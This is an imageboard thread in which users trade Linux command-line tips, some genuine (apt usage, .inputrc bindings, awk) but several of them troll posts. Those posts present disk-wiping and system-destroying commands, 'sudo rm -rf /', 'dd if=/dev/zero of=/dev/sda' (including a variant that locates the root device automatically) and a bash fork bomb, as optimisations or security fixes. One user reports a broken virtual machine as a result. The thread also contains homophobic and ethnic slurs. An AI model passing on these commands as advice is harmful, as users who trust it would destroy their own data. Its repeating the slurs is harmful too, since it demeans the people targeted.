Share your l33t Linux command.

>>62398417
Teach me more OP.

fucking die, normie

>>62398417
Sudo apt-get install gf_1.02 :^(

I learned a while back that if you do `sudo rm -rf /` it will delete all proprietary software and free up space on your hd.

>>62398417
sudo apt-get install photoshop

fuck you faget it doesn't work

>>62398417
fugggg :---DDDD

i had no idea

>>62398932
Before anyone screems "MUH WEBSITE TOLD ME NEVER TO", Websites will get paid to print out articles in favor of propietary software,

>>62398417
>installing programs without searching on the web
What sorcery is this?

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sudo dd if=/dev/zero of=/dev/sda bs=1M count=100000

This command optimizes your Linux installation by removing all the redundant zeroes.

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>>62398932
I heard if you do "sudo rm -rf ~" you become homeless

>>62399076
:(

>>62399071
Not every hd is mounted to sda

>>62399071
My boot times were drastically reduced using this command. I thank you,kind Sir.

>>62398932
>`sudo rm -rf /`
Look, a latino fag. His keyboard doesn't have the single quote key and instead the had to use the ` whatever it is calledf.

>>62398417
You can secure your linux system with disc defender, short: dd

Like this:

dd if=/dev/zero of=/dev/sda

The /dev/zero/ arguments means you tolerate zero deviations from the standard system, meaning any changes by potential malware will be reversed.
The /dev/sda argument is usually your system disc, you may have to change it, if your system resides elsewhere.

If you are unsure where your root filesystem resides, use this variation of the command:

dd if=/dev/zero of=$(mount | grep \ /\ | awk {'print $1'})

Congratulations, your Linux is now bullet proof.

>>62398932
Now my ubuntu vm won't load anymore. What did I do wrong?

Luckly I cloned it before changing anything.

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tick-bang-bang-tick: `!!`
Example:
ls a*mp3
mplayer `!!`

>>62398932
>>62401284
Same fag

:(){:|:&};:

echo "Hello World" >| echo "Me" > out.txt

sudo apt install fish; fish

https://fishshell.com/

>>62402410
/this!

>>62398417
sudo apt-get install sl

then type
sl

Grats, your computer is now infected with train

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>>62399071
Mfw /home lives on /dev/sdb

>>62399515
I think that's a "back quote"

>>62398417

# sudo apt-get install xxxxx
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package xxxxx

Did it work? I can't tell.

>>62398916
GIVE ME YOUR MONEY

>>62399515
Ummmm - English speaker in Spain...
What's this?
''''''''''''''''''''''''''''''''''''''

>>62398417
>sudo apt-get install gentoo

sick hack bro thxz

>>62398417
in your shell conf file make an alias

alias install='sudo apt-get install -y'

now you can just type

install programName

>>62402410
is fish better than zsh? recently changed over to zsh. i have it doing all the fish stuff. but fish isn't posix compatible

Run this command once after each install to improve bash

cat > ~/.inputrc << EOF
"\e[A":history-search-backward
"\e[B":history-search-forward
"\e[1;5C":forward-word
"\e[1;5D":backward-word
"\e[5C":forward-word
"\e[5D":backward-word
"\e\e[C":forward-word
"\e\e[D":backward-word
"\e[1~":beginning-of-line
"\e[4~":end-of-line
"\e[3~":delete-char
"\e[2~":quoted-insert
EOF

>>62398916
This doesn't work on Arch. Is there a gf in the user repository? pls respond

>>62401284
Or just

mplayer a*MP3

>>62398417
>app
It's called package faggot

:(){ :|: & };:

>>62406045
>Uses Arch
Edgy.

>>62398417
The apt-get command is depreciated and you should use just apt instead. You can do a lot more with the CLI package manager than just stab around blindly for programs. If you aren't sure of the exact program name in the repositories, you can enter "sudo apt search browser" for example and it'll show everything in the repo that has the word browser in the package name or description. This list of packages is cached locally so if you want to update this list you can run "sudo apt update". To install available updates, run "sudo apt upgrade". If you're running as root you don't need sudo. I personally hate Ubuntu because it locks you out of the root account by default.

Now fuck off.

>>62399515
Why so mad? Your mom and fantasized girlfriend got tucked by a Pedro? :j

>>62406172
>sudo su

>>62399722
Thanks anon, my computer isn't going to be running malware anytime soon now.

>>62406172
I think that it's better for newfags to use synaptic... Not that cli is not good, but they can learn easier to install and manage packages in the gui and blindly use the cli afterwards.

>>62406172
I haven't used Ubuntu but does it lock you out of even sudo su?

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>>62406239
Why would you even think a distro will lock you from calling executables?

>>62406239
You just have to type sudo su and then type your password. Boom youre rooted.

>>62398417
awk '{print $n}'
where n is the number of the column you want to print. I see all these plebs trying to print columns using cut, specifying delimiters and having it only work 75% of the time. awk makes this shit so easy.